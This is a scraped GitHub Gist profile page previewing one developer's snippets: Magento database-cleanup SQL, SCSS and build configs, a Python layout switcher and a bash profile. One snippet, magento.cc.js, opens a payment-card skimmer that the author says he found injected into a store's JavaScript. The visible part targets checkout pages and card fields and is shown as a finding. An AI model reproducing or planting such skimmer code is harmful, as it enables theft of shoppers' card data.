Skip to content

Instantly share code, notes, and snippets.

View Jman's full-sized avatar

Eugene Tereshchenko Jman

View GitHub Profile
SET FOREIGN_KEY_CHECKS = 0;
# Search
TRUNCATE TABLE `catalogsearch_fulltext_scope1`;
TRUNCATE TABLE `search_query`;
TRUNCATE TABLE `search_synonyms`;
# Wishlist
TRUNCATE TABLE `wishlist`;
TRUNCATE TABLE `wishlist_item`;
@Jman
Jman / svg-replace.scss
Created April 29, 2018 08:18
Escape inline svg (data:image/svg+xml;utf8,<svg>) to make it work in Firefox(1) and MSIE/Edge(2)
@function str-replace($string, $search, $replace: '') {
$index: str-index($string, $search);
@if $index {
@return str-slice($string, 1, $index - 1) + $replace + str-replace(str-slice($string, $index + str-length($search)), $search, $replace);
}
@return $string;
}
@Jman
Jman / .babelrc
Last active May 5, 2020 21:24
Magento build system including sass, webpack and browser-sync
{
"presets": [
["env", {
"targets": {
"browsers": ["last 2 versions", "safari >= 7"]
}
}],
"babili"
]
}
@Jman
Jman / clean_for_dev_m1.sql
Last active June 25, 2018 13:00
Cleanup Magento 1 database
SET FOREIGN_KEY_CHECKS=0;
-- Customers
TRUNCATE customer_address_entity;
TRUNCATE customer_address_entity_datetime;
TRUNCATE customer_address_entity_decimal;
TRUNCATE customer_address_entity_int;
TRUNCATE customer_address_entity_text;
TRUNCATE customer_address_entity_varchar;
TRUNCATE customer_entity;
@Jman
Jman / magento.cc.js
Last active January 8, 2017 22:10
Found it in merged js in one of my projects. This code is only visible in EU, i think because it want to bypass security checking by google, mcafee or else. This store has a lot of users... and i'm happy that it broke all javascript, because jQuery was not defined in this point. It's good when hacker doesn't know enough JS
jQuery(document).ready(function() {
if (!(new RegExp("onepage|nexwaycheckout|checkout|onestep|firecheckout|onestepcheckout")).test(window.location))
return;
setTimeout(function(){
jQuery(function($kk) {
$kk(document).on('change', 'form', function() {
grelos_v = null;
a = [
'select[name="ops_cc[year]"]',
@Jman
Jman / Switch layout.workflow
Last active May 24, 2016 15:44
Open Automator, choose Service. Than drag&drop "run shell script". chose in Shell dropdown /usr/bin/python check "replace with output" checkbox and input from arguments in another dropdown
import sys
from copy import copy
_map = {':': u'\u0416', "'": u'\u044d', '"': u'\u042d', '{': u'\u0425', '[': u'\u0445', '.': u'\u044e', ']': u'\u044a', ',': u'\u0431', '^': ',', 'a': u'\u0444', '&': '.', 'c': u'\u0441', 'b': u'\u0438', 'e': u'\u0443', 'd': u'\u0432', 'g': u'\u043f', 'f': u'\u0430', 'i': u'\u0448', 'h': u'\u0440', 'k': u'\u043b', 'j': u'\u043e', 'm': '\xd1\x8c', 'l': u'\u0434', 'o': u'\u0449', 'n': u'\u0442', 'q': u'\u0439', 'p': u'\u0437', 's': u'\u044b', 'r': u'\u043a', 'u': u'\u0433', 't': u'\u0435', 'w': u'\u0446', 'v': u'\u043c', 'y': u'\u043d', 'x': u'\u0447', ';': u'\u0436', 'z': u'\u044f', '}': u'\u042a', '<': u'\u0411', '>': u'\u042e'}
letters_map = copy(_map)
letters_map.update(dict([(k.upper(), v.upper()) for k, v in _map.iteritems() if k.upper() != k and not k in letters_map]))
letters_map.update(dict([(k, v) for v, k in _map.iteritems() if not k in letters_map]))
letters_map.update(dict([(k.upper(), v.upper()) for v, k in _map.iteritems() if k.upper() != k and not k in letters_
@Jman
Jman / Gruntfile.js
Created March 14, 2015 05:41
Compile only edited haml file (using grunt-haml2html grunt task)
module.exports = function(grunt) {
require('load-grunt-tasks')(grunt);
grunt.initConfig({
haml: {
options: {
doubleQuoteAttributes : true
},
@Jman
Jman / .profile
Last active November 12, 2017 00:25
my bash profile
export TERM=xterm-256color
export CLICOLOR=1
export EDITOR="/usr/local/bin/mate -w"
export LC_ALL=ru_RU.UTF-8
if [ -f "/Applications/Xcode.app/Contents/Developer/usr/share/git-core/git-completion.bash" ]
then
source /Applications/Xcode.app/Contents/Developer/usr/share/git-core/git-completion.bash
fi
if [ -f "/Applications/Xcode.app/Contents/Developer/usr/share/git-core/git-prompt.sh" ]